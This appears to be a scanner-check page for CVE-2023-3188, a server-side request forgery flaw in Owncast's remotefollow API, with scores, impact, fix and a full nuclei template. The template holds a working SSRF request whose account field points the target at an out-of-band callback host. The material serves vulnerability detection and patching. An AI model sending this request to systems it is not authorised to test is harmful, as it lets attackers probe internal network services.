Owncast - Server Side Request Forgery

mediumseverity

6.5CVSS score

1.4%likelihood of exploitation, next 30 days

72%of all CVEs are less likely

Readycheck to confirm it

Server-Side Request Forgery (SSRF) in GitHub repository owncast/owncast prior to 0.1.0.

Impact

Unauthenticated attackers can exploit SSRF through the account parameter in the remotefollow API to probe internal network services and potentially access sensitive internal resources.

Fix

Update Owncast to version 0.1.0 or later that validates federated account addresses and restricts remote follow requests to authorized domains only.

How to confirm it

Send: POST /api/remotefollow
Positive when: contains in interactsh_protocol "http" or "dns" AND contains "success\":" and "message\":" AND contains in content_type "application/json"

Run it with nuclei: nuclei -id CVE-2023-3188 -u <target>

The full check

id: CVE-2023-3188

info:
  name: Owncast - Server Side Request Forgery
  author: DhiyaneshDk
  severity: medium
  description: |
    Server-Side Request Forgery (SSRF) in GitHub repository owncast/owncast prior to 0.1.0.
  impact: |
    Unauthenticated attackers can exploit SSRF through the account parameter in the remotefollow API to probe internal network services and potentially access sensitive internal resources.
  remediation: |
    Update Owncast to version 0.1.0 or later that validates federated account addresses and restricts remote follow requests to authorized domains only.
  reference:
    - https://owncast.online/
    - https://nvd.nist.gov/vuln/detail/CVE-2023-3188
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2023-3188
    cwe-id: CWE-918
    epss-score: 0.01356
    epss-percentile: 0.71872
    cpe: cpe:2.3:a:owncast_project:owncast:*:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: owncast_project
    product: owncast
    shodan-query: html:"owncast"
  tags: cve,cve2023,owncast,oast,ssrf,vuln

http:
  - raw:
      - |
        POST /api/remotefollow HTTP/1.1
        Host: {{Hostname}}

        {"account":"a@{{interactsh-url}}"}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http"
          - "dns"

      - type: word
        part: body
        words:
          - 'success":'
          - 'message":'
        condition: and

      - type: word
        part: content_type
        words:
          - "application/json"

References

Use this check only on systems you are authorised to test. Where the data comes from